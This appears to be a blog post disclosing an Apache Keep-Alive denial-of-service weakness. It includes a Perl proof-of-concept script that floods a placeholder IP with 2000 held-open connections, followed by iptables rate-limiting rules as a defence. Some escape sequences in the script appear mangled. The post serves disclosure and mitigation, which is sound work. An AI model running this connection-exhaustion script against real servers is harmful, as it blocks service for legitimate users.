The Apache Keep-Alive Tarpit Exploit

I have found a denial of service (DOS) exploit problem with the Keep-Alive setting in Apache version two. This may exist in other version as well.

What I’ve found is, with Keep-Alive off, Apache will continue to serve content. While, with Keep-Alive on a simple script can use up every connection on a server and block other users.

Here is the test I used.

1) turn on server-status
2) check the setting – KeepAlive on
3) and set KeepAliveTimeout to 45
4) restart Apache
5) run the script below and watch the connections
6) browser the server under attack. It should continue to work
7) un-comment the Keep-Alive line in the script and perform the test again.

The server-status module has a scoreboard block that shows the current connection states for each possible connection.

 

____K__._.__K___K__K_K___CK_WK__K_K_.C__K___K__KK__K__K_K__K_K__
_______KK__K___K_K_K__KK___KK___K____K______K_____K_______K__K_K
_KKKK__...______C_K____.__.._KK__K_K_K______K__K_K_________K_K_
__K____.KKK_KKK__K__K_K____C_____.___KK___K_W____K__KKK___K_K___
_KK________K____K__K_____.___K___._KK___K___KK__K________K_K_KK_

Scoreboard Key:
"_" Waiting for Connection, "S" Starting up, "R" Reading Request,
"W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
"C" Closing connection, "L" Logging, "G" Gracefully finishing,
"I" Idle cleanup of worker, "." Open slot with no current process

I found with Keep-Alive off, this connections block shows all ‘W’s and the server continues to serve content. I think Apache closes the oldest connection for the new requests. With Keep-Alive on, each connection opened is dedicated to the user that opened it.

So Keep-Alive can be used as a very effective denial of service attack, especially if the Apache KeepAliveTimeout setting high. The default KeepAliveTimeout is five (5) seconds. I have worked on systems were this number is set to as high as 45 seconds.

My proof of concept script tries to open 2000 tcp connections to YOUR.IP.GOES.HERE and then sleeps for sixty seconds.

Here is the script I used.

 

#!/usr/bin/perl
use IO::Socket;
$a = 2000;
$sock[$a] = 0;
while ($a > 0) {
    $sock[$a] = new IO::Socket::INET (
        PeerAddr => 'YOUR.IP.GOES.HERE',
        PeerPort => '80',
        Proto => 'tcp',
        ); die "Could not create socket: $!n" unless         $sock[$a];
    my $sck = $sock[$a];
    print $sck "GET / HTTP/1.0n";
#    print $sck "Connection: Keep-Aliven";
    print $sck "n";
    $a–;
}
sleep 60;

If you are using SSL turn off Keep-Alive may be very painfull. With out Keep-Alive SSL sessions get negocated much more often.

One way to limit this attact is to use a firewall and limit the number of new TCP sessions can be opened from a single IP.

With Linux IPTABLES the rules look like this:

 

iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW -m
recent --update --seconds 4 --hitcount 8 -j DROP

I hope someone can show where I've gone wrong here.


Leave a Reply

Your email address will not be published. Required fields are marked *